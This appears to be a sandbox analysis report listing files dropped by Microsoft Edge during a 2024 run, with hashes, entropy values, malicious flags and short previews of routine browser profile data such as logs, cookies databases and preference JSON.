Size (bytes):	49152
Entropy (8bit):	3.648070432605871
Encrypted:	false
SSDEEP:	384:aj9P0mcAjlUP/KbtZ773pL7QkQerWhCgam6ItRKToaAu:adcKlUP/w79e2Wv9RKcC
MD5:	BB6747D393CEEE570AD8D621011CB11B
SHA1:	AA0FC61E25825CAB567CC222172279C1AD035EAB
SHA-256:	00C67374DB7E613E1DDF924AC6C871FBBA009B455F3E79C77DB19711A9C9B928
SHA-512:	B572541FB32EF544C926ECF218FFC3FFE60072FF97E6D30327414A786093E411FA58949965EE882D779197A72347700773ED0B77A333CDE23E6D92078D60C1A9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.2260671722728365
Encrypted:	false
SSDEEP:	12:HHv4Yeb8rcHEZrELFUt8+BJX/++BJF5LYeb8rcHEZrEZSJ:HP4Yeb8nZrExg8+fDfXLYeb8nZrEZe
MD5:	53387DC27CEB0F39B96D95FD6B026372
SHA1:	F150305AD5C9B2A425940803589FB8C3AB948496
SHA-256:	8D9C5646B2E9A609137CE639A1A5847FD17E8B17C3B42CA24EC616CD8BA236E6
SHA-512:	936F338BAD07E824157572FB50E680D81CFB1A58AC10DCFE2BB1E7CB6ED483369B569C3D2C191F0C3C4EBC5B772ADB3021706088DD2DC56D6EA44E442F44A4E0
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:18.447 1df0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-02:09:18.448 1df0 Recovering log #3.2024/11/20-02:09:18.448 1df0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.2260671722728365
Encrypted:	false
SSDEEP:	12:HHv4Yeb8rcHEZrELFUt8+BJX/++BJF5LYeb8rcHEZrEZSJ:HP4Yeb8nZrExg8+fDfXLYeb8nZrEZe
MD5:	53387DC27CEB0F39B96D95FD6B026372
SHA1:	F150305AD5C9B2A425940803589FB8C3AB948496
SHA-256:	8D9C5646B2E9A609137CE639A1A5847FD17E8B17C3B42CA24EC616CD8BA236E6
SHA-512:	936F338BAD07E824157572FB50E680D81CFB1A58AC10DCFE2BB1E7CB6ED483369B569C3D2C191F0C3C4EBC5B772ADB3021706088DD2DC56D6EA44E442F44A4E0
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:18.447 1df0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-02:09:18.448 1df0 Recovering log #3.2024/11/20-02:09:18.448 1df0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	5.6829151018472075
Encrypted:	false
SSDEEP:	24:uZWztUlH82lWMkTpCgXZ/WRV03y1x4ozMyhWaBykTN5zgFHHmi28/V:uZQiWMkVCgXZeRV03Sx4zyhPBD+HH32M
MD5:	BB9E8FE7B3E94B1A06CF2B567133DB65
SHA1:	D3A9A5643F375A1843BDD46BB202301B2C9751B6
SHA-256:	1904C00C3F20C7C71238E2DFA05F38EB4ED27A64CC2A3B07E5F56F7BC992F7B6
SHA-512:	D734CAF921BFC2AEBFA26415E81D1761EF973DC9E5071CEA60F7415234CCCA25364F815DB9CAEA896C3ACEBCAA9DE04BB44001277A7324BCE07AA3161A8AF19E
Malicious:	false
Reputation:	unknown
Preview:	<..Wx................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":965}.!_https://ntp.msn.com..LastKnownPV..1732086562018.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732086563315.._https://ntp.msn.com..MUID!.0D5DEEC7B95C6AE11814FBFAB85B6BD9.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732086562095,"schedule":[34,-1,-1,4,-1,9,-1],"scheduleFixed":[34,-1,-1,4,-1,9,-1],"simpleSchedule":[30,11,15,36,52,21,19]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732086561985.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241119.367"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:/

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.071201801068909
Encrypted:	false
SSDEEP:	6:H6FCVq2P923oH+Tcwt8a2jMGIFUt8Y6zgZmw+Y65SIkwO923oH+Tcwt8a2jMmLJ:pv4Yeb8EFUt8q/+F5LYeb8bJ
MD5:	347FB0A008EC8576CF653310A82E45EB
SHA1:	655C655857E2091FE7925DFDC42D12ABAAE1CAF5
SHA-256:	9EDD5973C17EB16CE725B745048E80C08E04BD3FE9B57D8CC5737143700582BF
SHA-512:	CDB468F03C481814AB0FA67730630537D30D7BDD18A32271F5DB1E1189DA438199A0816896533572F54F94BE1C520D65A0F95403B1B433F1B76F6108E82CFF62
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.048 1030 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-02:09:14.050 1030 Recovering log #3.2024/11/20-02:09:14.053 1030 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.071201801068909
Encrypted:	false
SSDEEP:	6:H6FCVq2P923oH+Tcwt8a2jMGIFUt8Y6zgZmw+Y65SIkwO923oH+Tcwt8a2jMmLJ:pv4Yeb8EFUt8q/+F5LYeb8bJ
MD5:	347FB0A008EC8576CF653310A82E45EB
SHA1:	655C655857E2091FE7925DFDC42D12ABAAE1CAF5
SHA-256:	9EDD5973C17EB16CE725B745048E80C08E04BD3FE9B57D8CC5737143700582BF
SHA-512:	CDB468F03C481814AB0FA67730630537D30D7BDD18A32271F5DB1E1189DA438199A0816896533572F54F94BE1C520D65A0F95403B1B433F1B76F6108E82CFF62
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.048 1030 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-02:09:14.050 1030 Recovering log #3.2024/11/20-02:09:14.053 1030 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\092d9f58-c8c1-4918-856f-21f187ab1569.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\22e504c1-379c-4618-a40c-9ccb45b58a6d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3d55e302-f6e0-4ebd-bcf3-4c7e1edfc030.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4941e202-e25c-44a8-98ae-3241d59e275b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4cf9e567-58a3-48de-bd04-7a494b29007a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.773381001923273
Encrypted:	false
SSDEEP:	192:tTrHBI+5zxwB6bstbZUJRxiTbznHlXcf0L/ZJVb:Vre+LO6b6bZ8ebHlXI0LhJVb
MD5:	D6C50DABB0CE2795064BD68F52C77EBC
SHA1:	BEF584DB12D9A562C91B899B5D8A3DD837DD91CC
SHA-256:	920A075374D15D9D359D543231207940D1352EC204CC9AB3BB65E1104FECB4D1
SHA-512:	C9FB2A645FB38987932A2E800C1CEB881A0598F14EF2415EF9A0D66ABEBB20761D611E038F51A65FC6BB2537F5FE11720B496016AE92ADAFEE72549B401DE13E
Malicious:	true
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.1117696976818012
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBC1:JkIEumQv8m1ccnvS6D+
MD5:	05D7DCE64653A2E9F514798E4B355ADB
SHA1:	CAD2C6BF730F3243A963C45F0959E979FD21B981
SHA-256:	4417380E9E6B1CCA2C7300A07953C055332EC65CD8E2364AEDE573ED9F9355DD
SHA-512:	A2A76D5C4127C37025D937ADF33E2006BF9CFC96038BF8E4FFE2BF0B584FDD44D23FCC447E8046A4B65C86CFD9C856778E80EEEA0395EA04F17ABA2838EE3802
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF36bfa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF38703.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF38e18.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF47135.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a4c57118-14db-42f8-89f8-38b31ad88ad8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cf9f721b-d261-4000-b702-d5da4ba864e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13809
Entropy (8bit):	5.238107373772587
Encrypted:	false
SSDEEP:	192:stGJ99QTryDigabatSuypwsgiSsZihUkmtYDSwvYC8cbV+FWNQwu66WQaFIMYzP5:stGPGKSu4wsgJfheWbGEQwr6WQaTYV
MD5:	0F00221500397E80D460852A1C2ED44D
SHA1:	3A35B486BE2D6D9260C55746AEE95066A2744934
SHA-256:	CC5E1B9D099C72B8BC9F75CE5C406F354916672F0F5518111D84A5226FA75854
SHA-512:	01DEFC883243A8551AC10CC12E2AC4EFDDCC2DE9A441DCA02BB4A86E5337A10E8070CD876F5DCF177C37EE5CD8311F00EF57E8DE643B891FAA6BB5866BF66F12
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376560154317492","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3abe1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13809
Entropy (8bit):	5.238107373772587
Encrypted:	false
SSDEEP:	192:stGJ99QTryDigabatSuypwsgiSsZihUkmtYDSwvYC8cbV+FWNQwu66WQaFIMYzP5:stGPGKSu4wsgJfheWbGEQwr6WQaTYV
MD5:	0F00221500397E80D460852A1C2ED44D
SHA1:	3A35B486BE2D6D9260C55746AEE95066A2744934
SHA-256:	CC5E1B9D099C72B8BC9F75CE5C406F354916672F0F5518111D84A5226FA75854
SHA-512:	01DEFC883243A8551AC10CC12E2AC4EFDDCC2DE9A441DCA02BB4A86E5337A10E8070CD876F5DCF177C37EE5CD8311F00EF57E8DE643B891FAA6BB5866BF66F12
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376560154317492","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f85b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
